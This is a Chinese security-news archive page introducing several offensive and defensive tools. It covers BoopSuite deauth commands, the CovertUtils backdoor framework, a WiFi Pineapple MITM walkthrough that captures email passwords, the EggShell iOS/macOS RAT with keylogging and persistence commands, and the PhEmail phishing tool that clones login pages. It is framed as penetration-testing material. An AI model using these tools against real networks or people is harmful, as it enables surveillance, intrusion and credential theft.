月度归档:2017年08月

FakeNet-NG:新一代的动态网络分析工具

FakeNet-NG是一款专为恶意软件分析人员以及渗透测试专家设计的下一代动态网络分析工具。FakeNet-NG是一款开源工具,并且支持最新版本的Windows以及Linux平台。

FakeNet-NG:新一代的动态网络分析工具

该工具可以在模拟合法网络服务的过程中拦截/重定向所有的或特定的网络流量。在FakeNet-NG的帮助下,恶意软件分析专家可以迅速识别恶意软件的功能并捕捉到网络签名。而FakeNet-NG可配置的拦截引擎将允许渗透测试人员以及Bug Hunter非常方便地测试应用程序的特定功能并设计出PoC原型。

工具安装

你可以采用以下几种不同的方法来安装FakeNet-NG。

单独的可执行文件

最简单的安装方法就是从release页面下载并安装已编译版本:

https://github.com/fireeye/flare-fakenet-ng/releases

然后通过双击’fakenet.exe’来运行FakeNet-NG。

这种方法适用于Windows平台,而且整个过程不需要你安装额外模块,对于一台恶意软件分析设备来说这就非常方便了。

安装模块

当然了,你也可以使用pip将FakeNet-NG当作一个Python模块来进行安装:

pip install https://github.com/fireeye/flare-fakenet-ng/zipball/master

或者你也可以获取FakeNet-NG的最新源码并进行手动安装:

git clone https://github.com/fireeye/flare-fakenet-ng/

项目克隆完成后切换到flare-fakenet-ng/目录,然后运行下列命令:

python setup.py install

在Windows上使用FakeNet-NG需要下列组件:

MicrosoftVisual C++ Compiler for Python 2.7

在Linux上使用FakeNet-NG需要下列组件:

-Python pip包管理器(例如Ubuntu:python-pip)

-Python开发文件(例如Ubuntu:python-dev)

-OpenSSL开发文件(例如Ubuntu:libssl-dev )

-libffi开发文件(例如Ubuntu:libffi-dev)

-libnetfilterqueue开发文件(例如Ubuntu:libnetfilter-queue-dev)

绿色版

如果你想使用FakeNet-NG,但又不想进行安装的话,你可以选择这种方式。你需要获取FakeNet-NG的源码,并安装以下依赖组件:

1.      安装64位或32位的Python 2.7.x(根据Windows版本选择);

2.      安装Python依赖:

pip install pydivert dnslib dpkt pyopensslpyftpdlib netifaces

2b)可选项,你可以安装下列模块作测试用:

pip install requests

3.      下载FakeNety-NG源码:

git clone https://github.com/fireeye/flare-fakenet-ng

在特权Shell窗口中使用Python解释器运行FakeNet-NG:

python fakenet.py

工具使用

使用FakeNet-NG最简单的方法就是以管理员权限执行它,你可以使用–help获取所有可用的命令行参数:

FakeNet-NG:新一代的动态网络分析工具

简单运行

我们可以使用下列命令运行默认配置的FakeNet-NG:

C:/tools/fakenet-ng>fakenet.exe

下面给出的是拦截DNS请求和HTTP连接的输出样例:

FakeNet-NG:新一代的动态网络分析工具

请注意上面的每一行日志都标有FakeNet-NG当前所运行的模块。比如说,如果程序在对流量进行分流的话,日志前缀将被标记为“Diverter”:

FakeNet-NG:新一代的动态网络分析工具

与此同时,每当监听器处理分流流量时,日志记录都会用配置文件中定义的名字进行标记:

FakeNet-NG:新一代的动态网络分析工具

用户可以通过按下组合键CTRL+C来终止FakeNet-NG的运行,结束运行后将会自动生成PCAP文件:

FakeNet-NG:新一代的动态网络分析工具

工具配置

为了充分发挥FakeNet-NG的功能,我们需要了解其配置文件的结构。下面给出的是一份配置文件样本:

###############################################################################
# Fakenet Configuration
[FakeNet]
DivertTraffic: Yes
###############################################################################
# Diverter Configuration
[Diverter]
NetworkMode:            Auto
LinuxRedirectNonlocal:  *
LinuxFlushIptables:     Yes
LinuxFlushDNSCommand:   service dns-clean restart
DumpPackets:            Yes
DumpPacketsFilePrefix:  packets
ModifyLocalDNS:         No
StopDNSService:         Yes
RedirectAllTraffic:     Yes
DefaultTCPListener:     RawTCPListener
DefaultUDPListener:     RawUDPListener
###############################################################################
# Listener Configuration
[DNS Server]
Enabled:    True
Port:       53
Protocol:   UDP
Listener:   DNSListener
DNSResponse: 192.0.2.123
NXDomains:  0
[RawTCPListener]
Enabled:    True
Port:       1337
Protocol:   TCP
Listener:   RawListener
UseSSL:     No
Timeout:    10

工具模块开发

FakeNet-NG采用Python语言开发,这也就意味着你可以开发新的模块以及插件来扩展其现有的功能。

开发监听器

所有的监听器必须实现两个方法:start()和stop()。下面给出的是监听器的实现模板:

import logging
import sys
import threading
import socket
class MyListener():
   def __init__(self, config, name = 'MyListener', logging_level =logging.INFO):
       self.logger = logging.getLogger(name)
       self.logger.setLevel(logging_level)
           
       self.config = config
       self.name = name
       self.logger.info('Starting...')
       self.logger.debug('Initialized with config:')
       for key, value in config.iteritems():
           self.logger.debug('  %10s: %s',key, value)
   def start(self):
       # Start listener
       # ...
   def stop(self):
       # Stop listener
       # ...

主要的监听器类MyListener()需要提供一个包含监听端口和协议的配置字典,主监听类还需要接收当前的监听器实例名以及用户设置的日志信息。

FakeNet-NG监听器需要self.logger对象来处理输出,并以此来保证应用程序能够输出格式一致的日志记录。比如说,你可以通过下列方式显示一条报错或警告信息:

self.logger.error("This is anerror")
self.logger.warning("This is awarning") 

当你完成了监听器的开发之后将其拷贝到listeners/目录,然后将你的模块名添加到listeners/__init__定义的__all__变量中:

__all__ = ['RawListener', 'HTTPListener','DNSListener', 'SMTPListener', 'MyListener']

接下来将你的监听器添加到配置文件中,这样你就可以让应用程序使用这个你自己定义的监听器了:

[MyAwesomeListener]
Enabled:    True
Port:       1337
Protocol:   TCP
Listener:   MyListener

开发分流器

FakeNet-NG使用了开源的WinDivert库在Windows Vista+操作系统中执行流量重定向,Windows分流器的实现位于fakenet/diverters/windows.py

FakeNet-NG使用了开源的python-netfilterqueueCython模块在Linux平台上实现流量重定向,Linux分流器的实现位于fakenet/diverters/linux.py

Windows平台下的绝大多数功能实现都位于fakenet/diverters/winutil.py中,并可使用ctype直接调用Windows API函数。类似的,Windows平台下的绝大多数功能实现都位于fakenet/diverters/linutil.py中。

更多关于在Linux下实现分流器的信息,请参考这篇文档【传送门】。

构建单独的可执行程序

如果你想生成单独的可执行程序,你则需要安装PyInstaller模块:

pip install pyinstaller

运行下列命令使用pyinstaller生成exe文件:

pyinstaller fakenet-ng.spec

生成的exe文件将保存在dist/目录下。

后话

FakeNet-NG目前仍处于开发阶段,希望有能力的用户能够为我们贡献代码,并帮助我们继续完善FakeNet-NG。如果使用过程中遇到了任何的问题,可以在本项目的GitHub主页中留言。 

* 参考来源:FakeNet-NG, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

BoopSuite:基于Python编写的无线安全审计套件

BoopSuite是一款即将推出的基于python编写的无线安全审计套件。它易于使用功能强大,同时支持2GHz和5GHz频谱,握手包嗅探器(CLI和GUI),监听模式启用脚本和deauth脚本。

BoopSuite:基于Python编写的无线安全审计套件

另一个无线渗透套件

一个无线嗅探器

两个gui的无线嗅探器(旧/新的)

一个无线干扰器

监听模式启用/禁用

还有什么不同之处?

我添加了以下功能脚本:

  • BoopCoil – Deauth攻击检测器
  • UpDate – 一个用于更新boopsuite的脚本

示例

BoopSuite:基于Python编写的无线安全审计套件

开始嗅探:

boopsniff -i wlan1mon

指定信道:

boopsniff -i wlan1mon -c 6

如果你有支持5GHz频段的无线网卡,Boop也同样支持:

boopsniff -i wlan1mon -f 5

如果一些进程是对你产生干扰,我们可以预先将这些进程终止:

boopsniff -i wlan1mon -k

查看没有关联的客户端:

boopsniff -i wlan1mon -u

过滤特定的AP mac地址:

boopsniff -i wlan1mon -a xx:xx:xx:xx:xx:xx

启动deauth攻击:

boopstrike -i wlan1mon

对5ghz频段进行deauth攻击:

boopstrike -i wlan1mon -f 5

对某个指定的AP deauth攻击:

boopstrike -i wlan1mon -a xx:xx:xx:xx:xx:xx

除了指定的AP外,对所有AP实施deauth攻击:

boopstrike -i wlan1mon -s xx:xx:xx:xx:xx:xx

更新包括一个gui工具:

boopsniff_gui

将网卡设置为监听模式:

boop -i wlan1

将网卡设置为管理模式:

boop -i wlan1mon

将网卡设置为特定名称:

boop -i wlan1 -n boop1

注意:这将导致监听模式的启用/禁用。

设置无线网卡信道:

boop -i wlan1 -c 11

注意:如果你的网卡不支持你指定的信道,则会进行错误检查。

终止所有干扰任务:

boop -i wlan1 -k

 也可以把某些命令结合一起使用:

boop -i wlan1 -n boop1 -c 11 -k

注意:boop将始终从管理模式切换到监听模式,反之亦然。

当前我正在加紧更新我的GUI,之后你将会看到一个更加简洁和完美的GUI。

BoopSuite:基于Python编写的无线安全审计套件

注意:所有pcap文件将被保存在目录〜/pcaps中。

计算机使用

最笨重的CPU部件的嗅探器,使用了占用率非常低的CPU和内存,这些内存将在即将到来的版本中减小。

BoopSuite:基于Python编写的无线安全审计套件

安装

打开terminal终端并键入以下安装命令(需要root才能安装):

git clone https://github.com/M1ND-B3ND3R/BoopSuite.git
cd BoopSuite
pip install -r requirements.txt
chmod +x install.py
./install.py

该设置包括为工具创建符号链接,以便可以从任何地方运行它。

升级

打开terminal终端并键入以下升级命令:

git clone https://github.com/M1ND-B3ND3R/BoopSuite.git
cd BoopSuite
chmod +x install.py
./install.py

参考:

嗅探器的首行格式如下:

[+] Time: TIME_ELAPSED Slithering: [CHANNEL] - [boopstrike: RECENT HANDHAKE CAPTURED] - [AMOUNT OF HANDSHAKES]

下一行是接入点表的开始,格式如下:

[Mac address] [Encryption] [Channel] [Vendor] [Signal] [Beacons] [SSID]

启动客户端表的行格式如下:

[Mac address] [AP Mac address] [Noise] [Signal] [AP SSID]

*参考来源:github,FB小编 secist 编译,转载请注明来自FreeBuf.COM

CovertUtils:一个用于设计和创建后门的Python模块

我在GitHub也混迹多年了,GitHub上眼花缭乱的后门项目也是令我印象非常深刻的。但是每一个项目似乎都有其自身的短板和优点,因此我打算创建一个项目,而这个项目将包含所有与后门有关的部分。

CovertUtils

在奋斗了好几个月之后,CovertUtils-一款用于后门编程的专用Python框架终于问世了!

这个Python模块可以自动化地处理所有的通信信道选项,例如加密、分块和隐写等等。虽然本项目的代码行数非常少,但它的功能却非常强大,这也是Python的特性之一。它允许编程人员花较少的时间开发出针对实际情况的Payload、shellcode以及更多具有创造性的东西。除此之外,安全研究人员也不必再重复造车轮了。

Python

没错,本项目采用Python语言开发,目前可支持的版本为Python 2.7。

完全不需要任何的外部依赖组件

是的,你没听错!本项目采用纯净的Python进行开发,目前你在使用CovertUtils的时候完全不需要安装任何其他的依赖组件。

资源获取

CovertUtils:【GitHub主页

PyPI:【PyPi.org

编程范例:【传送门

CovertUtils的具体操作方式以及详细的使用教程,请参考这篇文档【传送门】。

CovertUtils:一个用于设计和创建后门的Python模块

参考样本

TCP/UDP反向Shell以及TCP Bind Shell脚本的参考样本位于examples/目录下,如果你想了解更多关于创建多功能后门的内容,请参考我的教程【传送门】。

* 参考来源:covertutils, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

给渗透测试人员的优秀GitHub项目学习资源汇总

今天给大家带来的是一套优秀的GitHub项目学习资源(Awesome Hacking),无论你是小白还是渗透测试人员,无论你是白帽子亦或是黑帽黑客,你都可以从中学到很多新的东西。

给渗透测试人员的优秀GitHub项目学习资源汇总

五星推荐项目

GitHub项目 简介
Android Security 提供了一套与Android安全相关的资源
AppSec 提供了大量关于应用程序安全方面的学习资源
Bug Bounty 汇总了目前热门的漏洞奖励计划,并且还有很多Bug Hunter大神提供的Write-Up
Cheatsheets 提供了渗透测试和安全检测可用的Cheatsheet
CTF 提供了一套CTF框架、代码库、资源以及软件列表
Cyber Skills 提供了一套黑客学习环境,你可以在这里合法地练习自己的黑客技术
DevSecOps 一套实用的安全开发工具,得到了多名安全研究人员的测试和贡献
Exploit Development 关于漏洞利用开发的学习资源
Fuzzing 提供了一套学习模糊测试的资源,你还可以在这里学习漏洞利用开发的初始阶段知识,例如针对漏洞的成因进行分析等等
Hacking 提供了优秀的黑客教程、工具以及资源
Honeypots 蜜罐相关的资源
Incident Response 提供了大量关于事件响应的工具
Industrial Control System Security 一套关于工业控制系统(ICS)安全的资源
InfoSec 优秀的信息安全课程以及培训资源
IoT Hacks 关于物联网安全的相关资源
Malware Analysis 优秀的恶意软件分析工具以及资源
OSINT 优秀的开源情报(OSINT)工具及资源
OSX and iOS Security macOSiOS相关的安全工具
Pcaptools 一系列用于进行网络追踪的工具,均由计算机科学领域的专家负责开发
Pentest 优秀的渗透测试工具以及相关资源
PHP Security 生成安全随机数、加密数据和扫描漏洞的代码库
Reversing 提供了丰富的逆向工程资源
Sec Talks 提供了大量优秀的安全演讲内容
SecLists 安全评估测试过程中需要用到的多种类型资源
Security 提供了各种关于信息安全的优秀软件、代码库、文档、书籍、资源和工具
Social Engineering 提供了丰富的社会工程学资源
Static Analysis 提供了针对多种编程语言的静态分析及检测工具
Threat Intelligence 集合了丰富的威胁情报资源
Vehicle Security 关于学习汽车安全和汽车入侵的资源
Vulnerability Research 关于漏洞研究方面的资源
Web Hacking 关于Web应用安全的资源
Windows Exploitation 关于Windows漏洞利用相关的资源
WiFi Arsenal 针对802.11WiFi破解资源

其他同样优秀的项目

Repository 简介
API Security Checklist 当你在设计、测试和发布你的API时,可以参考这份清单来进行重要的安全测试
APT Notes 各种关于APT活动的公开文档、白皮书以及研究报告
Bug Bounty Reference 根据漏洞类型分类的漏洞Write-Up(来自各大漏洞奖励计划)
Cryptography 密码学资源及工具
CTF Tool 提供了CTF框架、代码库、资源及软件
CVE PoC 提供了各种漏洞的PoC(按CVE划分)
Forensics 一系列优秀的取证分析工具及资源
Free Programming Books 为开发人员准备的免费编程书籍
Gray Hacker Resources 实用的CTF和渗透测试资源
Infosec Getting Started 一系列能够帮助人们了解信息安全行业的资源
Infosec Reference 各种信息安全行业的参考资料
IOC 一系列入侵威胁指标(IoC)合集
Linux Kernel Exploitation 一系列与Linux内核Fuzzing以及漏洞利用相关的资源
Machine Learning for Cyber Security 将机器学习应用到网络安全领域的相关资源
Malware Scripts 与恶意软件有关的实用脚本
Payloads Web攻击Payload汇总
PayloadsAllTheThings 实用的Payload以及绕过Web应用安全防护机制的资源
Pentest Cheatsheets 可用于渗透测试的Cheatsheet资源
Pentest Wiki 为渗透测试和安全研究人员准备的在线安全知识(免费)
Probable Wordlists 用于密码生成和测试的字典
Reverse Engineering 关于逆向工程的文章、书籍和论文
RFSec-ToolKit 与射频通信协议相关的攻击工具及资源
Security Cheatsheets 针对各种信息安全工具和主题的Cheatsheet
Shell 一系列优秀的命令行框架、工具集、以及实用的shell脚本

Awesome Hacking

如果各位同学还有更好的GitHub学习项目可以推荐给我们的话,欢迎大家在我们的GitHub主页上踊跃提交【传送门】。

联系方式:

Twitter:@HackwithGithub

Facebook:HackwithGithub

* 参考来源:Awesome-Hacking, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

*本文原创作者:ghostsnow,本文属FreeBuf原创奖励计划,未经许可禁止转载

声明:本人也是刚刚接触无线领域的安全测试,如有不当之处,欢迎大家共同交流、探讨。

The WiFi Pineapple 是由国外无线安全审计公司Hak5开发并售卖的一款无线安全测试神器(俗称大菠萝),从2008年起目前已经发布到第六代产品。当前的主打产品是The WiFi Pineapple NANO 和WiFI Pineapple TETRA(支持5GHz频段)。

The WiFi Pineapple的主要特性是:

1、用作WiFi中间人攻击测试平台

2、一整套的针对AP的渗透测试套件

3、基于WEB界面

4、基于嵌入式linux系统

5、不定时的各种软件更新

   初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

(根据官网售价Pineapple NANO价格$99.99-$149.99,TETRA的售价$199.99-$299.99)

针对官网给出的价格感人,我天朝有些人推出了基于NANO相同配置(同时增加了充电宝功能)的山xx产品(完全基于官方系统,并支持官网软件同步更新),所以本人也算支持了一回国产 ^_^ ,请忽略设备上那个诡异的菠萝贴纸。

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

(此款国产WiFi Pineapple NANO售价¥300)

言归正传,我们接下来看下The WiFi Pineapple的设备管理界面(以下简称大菠萝),在浏览器输入默认管理地址:172.16.42.1:1471,界面会引导用户设置登录密码(密码同样用来登录SSH)。

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

(默认首页Dashboard,可查看当前设备运行时间及客户端连接情况)

接下来,我们重点看一下本文的两位主角SSLsplit与ettercap,ettercap作为老牌局域网攻击软件,想必大家已经非常熟悉,就不再赘述了。为了照顾所有童鞋,我们简单介绍一下SSLsplit。

SSLsplit简述:

SSLsplit是由瑞士计算机安全专家Daniel Roethlisberger在两年前发布在github上

(Github地址:https://github.com/droe/sslsplit),目前最新版本是0.5.0,在我们拿到手的菠萝派上的SSLsplit版本是0.4.11 不过并不影响我们本次的实验。

一、SSLsplit是用于针对SSL/TLS加密客户端和服务器之间的中间人攻击的工具,它主要用于网络取证,应用程序安全分析和渗透测试。

SSLsplit能够代替客户端向服务器发起SSL/TLS过程,并转发所有来自客户端的数据,除了基于NAT的操作,SSLsplit还支持设置静态目的地址,它会动态生成一个证书,使用攻击者的CA证书(客户端信任的)私钥签名。

二、SSLsplit采取透明代理方式,不充当浏览器中配置的HTTP或SOCKS代理。

三、SSLsplit支持IPv4和IPv6的普通TCP,普通SSL,HTTP和HTTPS连接,能够与RSA,DSA和ECDSA密钥以及DHE和ECDHE密码套件配合工作,根据的OpenSSL版本,SSLsplit还支持SSL 3.0,TLS 1.0,TLS 1.1和TLS 1.2以及可选的SSL 2.0。

四、支持跨平台工作,SSLsplit支持FreeBSD、OpenBSD、Linux、Mac OS X。

首先,我们看一下在大菠萝的WEB管理界面中SSLsplit的设置

(傻瓜式一键操作,后面我们会在基于命令行层面再次了解SSLsplit):

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

在Configuration界面配置需要进行端口重定向需要的iptables规则,其中默认的规则将所有普通访问的80端口重定向到8080端口,将443、邮件服务IMAP over SSL 涉及到的993、587、465端口从定向到8443端口。(本次实验我们就不使用WhatsApp了,所以可删除对于5222端口重定向)

在SSLsplit的Configuration中可以看到iptables的规则设定:

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

总的来说,在WiFi Pineapple Nano中的SSLsplit使用方法是简单粗暴式的一键“Start”,背后的操作都交给了软件内部已经设置好的配置文件,不过我认为刨根问底不仅仅是记者的天性,同时作为技术人的我们一样需要探究本质的精神,后面我们将在系统内部在观察一下SSLsplit的具体配置文件是怎样设置的。

Ettercap部分:

Ettercap是著名的局域网攻击软件,就不重复其相关介绍了,直接来看在WiFi Pineapple Nano中WEB界面设置情况:

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

我们看到在WiFi Pineapple Nano的界面中ettercap一样贯穿了大菠萝的精神,简单而优雅,一键Start。

下面我们看一下Options给我们提供了哪些选项

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

从界面来看,已经将ettercap的各种选项参数简化为图形界面了。

MITM实验部分:

下面我们实际测试一下WiFi Pineapple Nano在MITM测试中的表现,

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

在测试设备连接到大菠萝上后,我们从web管理界面可以看到两台客户端如下:

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

首先,我们配置SSLsplit,但确定好iptables的端口重定向规则后,在简单粗暴式一键“Start”。初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

从web管理界面就可以看到输出情况Output:在日志输出界面可以实施看到端口重定向情况以及客户端与服务器的连接情况。

以上我们就已经开启了SSLsplit,下面我们开始配置ettercap:

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

ettercap需要配置欺骗的目标IP地址,本次我们对172.16.42.106这个地址采取arp欺骗,在一键“Start”后,我们在被攻击的客户端上,登录下新浪邮箱和IMAP over SSL的公司邮箱进行测试:

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

初探无线安全审计设备WiFi Pineapple Nano系列之SSLsplit与Ettercap

在大菠萝组件ettercap的web界面的Output中可以清晰的看到,对于采取了IMAP over SSL 的公司邮箱可以显示出用户名与密码。

需要注意此处Output的输出内容是经过了ettercap的filter,此处的filter实现了对USER、PASS字段的过滤,ettercap的filter脚本允许用户自定义filter文件让用户自己决定选择输出感兴趣的内容。

遇到的问题:

在Nano系统内,经常SSLsplit进程莫名其妙结束,需要手动重新执行才可以,原因目前未知,初步怀疑可能是由于系统长时间工作且本身Nano硬件配置不高导致,有遇到相同情况的兄弟,欢迎大家一起交流探讨。

欢迎有玩WiFi Pineapple Nano的兄弟们一起交流:

邮箱:ghost_snow@sina.com

*本文原创作者:ghostsnow,本文属FreeBuf原创奖励计划,未经许可禁止转载

iOS macOS的后渗透利用工具:EggShell

EggShell是一款基于Python编写的iOS和macOS的后渗透利用工具。它有点类似于metasploit,我们可以用它来创建payload建立侦听。此外,在反弹回的session会话也为我们提供了许多额外的功能。例如文件的上传/下载,拍照,定位,shell命令执行,权限维持,提权,密码检索等。在服务器通信方面EggShell则采用了128位AES端到端的加密,并同时能够处理多个客户端程序。这是一个概念验证工具,适用于在你自己的机器上使用。有关更多详细信息请访问:http://lucasjackson.me/eggshell 。 

创建并运行一个Payload程序

在我们本地机器上,我们选择3选项来创建一个Payload并建立本地侦听。

iOS macOS的后渗透利用工具:EggShell

在目标机器上运行有效载荷后,我们将获取到一个回连。

iOS macOS的后渗透利用工具:EggShell

iOS macOS的后渗透利用工具:EggShell

拍照

Eggshell具有在iOS(frontcam前置/backcam后置摄像头)和macOS(picture)上拍照的命令和功能。

iOS macOS的后渗透利用工具:EggShell

密码提示/root权限

通过prompt命令,我们将会看到一个密码弹出信息检索+内置提权。

iOS macOS的后渗透利用工具:EggShell

iOS macOS的后渗透利用工具:EggShell

通过iMessage发送短信

iOS macOS的后渗透利用工具:EggShell

与多个会话进行交互

MultiSession使我们能够轻松的访问交互和管理多个有效会话。

iOS macOS的后渗透利用工具:EggShell

演示

EverythingApplePro的视频展示了用于运行EggShell的iOS 9.3.3 Webkit漏洞。

iOS macOS的后渗透利用工具:EggShell

安装

git clone https://github.com/neoneggplant/EggShell && cd EggShell
easy_install pycrypto
python eggshell.py

iOS命令:

  • sysinfo:获取系统信息
  • cd:更改目录
  • ls:列出目录内容
  • rm:删除文件
  • pwd:查看当前目录
  • download:下载文件
  • upload:上传文件
  • frontcam:开启前置摄像头拍照
  • backcam:开启后置摄像头拍照
  • mic:对麦克风录音
  • getpid:获取进程id
  • vibrate:使设备振动
  • alert:在设备上弹出警告框
  • say:让设备发声
  • locate:获取设备位置信息
  • respring:呼叫设备
  • setvol:设置媒体播放器音量
  • getvol:查看媒体播放器音量
  • isplaying:查看媒体播放器信息
  • openurl:在设备上打开URL
  • dial:在设备上拨打号码
  • getsms:下载短信数据库
  • getnotes:下载备忘录数据库
  • getcontacts:下载通讯录
  • battery:查看电池电量
  • listapps:标识符列表
  • open:打开APP
  • persistence:安装LaunchDaemon – 尝试每30秒连接一次
  • rmpersistence:卸载LaunchDaemon
  • installpro:将egghellpro安装到设备

EggShell Pro命令(iOS)

  • lock:模拟锁按钮
  • wake:将设备从睡眠状态唤醒
  • home:模拟home按钮
  • doublehome:模拟home按钮双击
  • play:播放音乐
  • pause:暂停音乐
  • next:下一曲
  • prev:上一曲
  • togglemute:以编程方式切换静音开关
  • ismuted:检查是否被静音
  • islocked:检查设备是否被锁定
  • getpasscode:记录成功的iOS 锁屏密码尝试
  • unlock:用密码解锁
  • keylog:键盘记录
  • keylogclear:清除键盘记录器数据
  • locationservice:打开或关闭位置服务

macOS命令

  • cd:更改目录
  • ls:列出目录内容
  • rm:删除文件
  • pwd:查看当前目录
  • download:下载文件
  • upload:上传文件
  • getpaste:获取剪贴板内容
  • mic:对麦克风录音
  • picture:通过iSight拍照
  • screenshot:截图
  • getfacebook:检索Facebook会话cookie
  • brightness:调整屏幕亮度
  • getvol:获取输出音量
  • setvol:设置输出音量
  • idletime:获取键盘/光标被触摸后的空闲时间
  • keyboard:将目标键盘的控制权移交至你的键盘
  • imessage:通过邮件应用发送消息
  • openurl:通过默认浏览器打开URL
  • play:播放iTunes
  • pause:暂停iTunes
  • prev:让iTunes播放上一曲目
  • next:让iTunes播放下一曲目
  • pid:获取进程id
  • prompt:提示用户输入密码
  • su:su登录
  • persistence:尝试每60秒连接一次
  • rmpersistence:终止持久连接操作

本地命令

  • lls:列出本地目录内容
  • lcd:更改本地目录
  • lpwd:查看当前的本地目录
  • lopen:打开本地目录
  • clear:清除终端

*参考来源:github,FB小编 secist 编译,转载请注明来自FreeBuf.COM

PhEmail:基于Python的开源网络钓鱼测试工具

PhEmail简介

PhEmail是一款采用Python编程语言开发的开源网络钓鱼邮件工具,它可以帮助研究人员在进行社会工程学测试的过程中自动化地给目标发送网络钓鱼邮件。PhEmail不仅可以同时向多个目标用户发送钓鱼邮件并识别出哪些用户点击了邮件,而且还可以在不利用任何浏览器漏洞或邮件客户端漏洞的前提下尽可能多地收集信息。PhEmail自带的引擎可以通过LinkedIN来收集电子邮箱地址,这些数据可以帮助测试人员完成信息采集阶段的一部分工作。

PhEmail:基于Python的开源网络钓鱼测试工具

除此之外,PhEmail还支持Gmail身份验证,这一功能在目标站点屏蔽了邮件源或IP地址的情况下会非常有用。值得一提的是,该工具还可以克隆目标组织或企业的门户网站登录界面,测试人员可以用这些伪造的页面来窃取目标用户的登录凭证。

PhEmail:基于Python的开源网络钓鱼测试工具

使用样例

一般来说,第一步是收集目标企业的邮箱地址。PhEmail的搜索引擎在收集到了企业邮箱地址之后,会将它们保存在一个文件中,演示代码如下:

# phemail.py -g1@example.com
Gathering emails from domain: example.com100% 
Completed!
test@example.com
test2@example.com […] emails.txt updated

得到了企业邮箱地址之后,接下来就要创建钓鱼邮件模板了。模板中的每一个URL必须要包含一个字符串”{0}”,因为脚本会自动将这个字符串替换成正确的URL地址。一次真实的测试场景截图如下:

PhEmail:基于Python的开源网络钓鱼测试工具

接下来,我们需要在Web服务器上安装php环境并将php文件”index.php”复制到Web服务器的根目录下。这个文件中包含的JavaScript代码会收集浏览器信息并将其保存到/tmp目录下的日志文件中。演示实例如下:

# phemail.py -e test-emails.txt -f"Fast Holiday " -r "Fast Holiday " -s "Last MinuteHoliday" -b body.txt -w http://YOUR-WEBSITE.com
SMTP server: mail.example.com 
Sent to test@example.com
Error: sending tonotExist-email@example.com 
Phishing URLs point to http://YOUR-WEBSITE.com
Phemail.py log file saved: phemail-log-12-07-2012_15-42.txt

接下来,你只需要等待目标用户点击钓鱼邮件,然后你就能够收集到目标用户的某些浏览器信息了:

Email: test@example.com
Date: Thu 12/07/2012 11:00:13 
IP: 192.168.0.123 
User Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1 appCodeName: Mozilla appName:Netscape appVersion: 5.0 (Windows) appMinorVersion: undefined product: GeckocookieEnabled: true cpuClass: undefined onLine: true opsProfile: undefineduserProfile: undefined language: en-US platform: Win32 systemLanguage:undefined userLanguage: undefined flash: Enabled Plugins: Google UpdateShockwave Flash 11.3 r300 Google Talk Plugin Video Acceleratorversion:0.1.44.16 Version 3.1.4.8140 5.1.10411.0 Adobe PDF Plug-In For Firefoxand Netscape 10.1.3 NPRuntime Script Plug-in Library for Java™ Deploy VmwareRemote Console and Client Integration Plug-in BlackBerry WebSL Browser Plug-InBing Bar The plug-in allows you to open and edit files using Microsoft Officeapplications Office Authorization plug-in for NPAPI browsers

PhEmail项目主页

GitHub传送门

工具下载

你可以直接通过克隆PhEmail的GitHub代码库来完成工具的下载:

git clone https://github.com/Dionach/PhEmail

工具使用

PHishing EMAIL tool v0.13
Usage: phemail.py [-e <emails>] [-m<mail_server>] [-f <from_address>] [-r <replay_address>] [-s<subject>] [-b <body>]
         -e    emails: File containing list of emails(Default: emails.txt)
         -f    from_address: Source emailaddress displayed in FROM field of the email (Default: Name Surname<name_surname@example.com>)
         -r    reply_address: Actual emailaddress used to send the emails in case that people reply to the email(Default: Name Surname <name_surname@example.com>)
         -s    subject: Subject of theemail (Default: Newsletter)
         -b    body: Body of the email(Default: body.txt)
         -p    pages: Specifies number ofresults pages searched (Default: 10 pages)
         -v    verbose: Verbose Mode(Default: false)
         -l    layout: Send email with noembedded pictures 
         -B    BeEF: Add the hook for BeEF
         -m    mail_server: SMTP mailserver to connect to
         -g    Google: Use a google accountusername:password
         -t    Time delay: Add deleaybetween each email (Default: 3 sec)
         -R    Bunch of emails per time(Default: 10 emails)
         -L    webserverLog: Customise thename of the webserver log file (Default: Date time in format"%d_%m_%Y_%H_%M")
         -S    Search: query on Google
         -d    domain: of email addresses
         -n    number: of emails perconnection (Default: 10 emails)
          -c   clone: Clone a web page
         -w    website: where the phishingemail link points to
         -o    save output in a file
         -F    Format (Default: 0): 
                0- firstname surname
                1- firstname.surname@example.com
                2- firstnamesurname@example.com
                3- f.surname@example.com
                4- firstname.s@example.com
                5-surname.firstname@example.com
                6- s.firstname@example.com
                7- surname.f@example.com
                8- surnamefirstname@example.com
                9- firstname_

免责声明

请不要在没有得到目标用户事先同意的情况下实用PhEmail来进行测试,由使用者自身使用不当所带来的问题开发人员不承担任何责任,同时我们也对PhEmail所带来的损失概不负责,请大家妥善使用。

其他参考资料

1.https://www.dionach.com/blog/phemailpy-another-social-engineering-tool

2.https://www.dionach.com/blog/social-engineering-and-phishing-email-attacks

* 参考来源:PhEmail, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

BeRoot:一款功能强大的Windows权限提升工具

BeRoot:一款功能强大的Windows权限提升工具

BeRoot简介

BeRoot是一款后渗透工具,它可以帮助测试人员检查常见的Windows错误配置,并从中寻找到能够实现权限提升的方法。

下载地址

已编译版本:【BeRoot V1.0

除此之外,BeRoot将会以一个后渗透模块添加到pupy项目中,这样就可以让BeRoot在内存中直接运行而无需访问磁盘了。

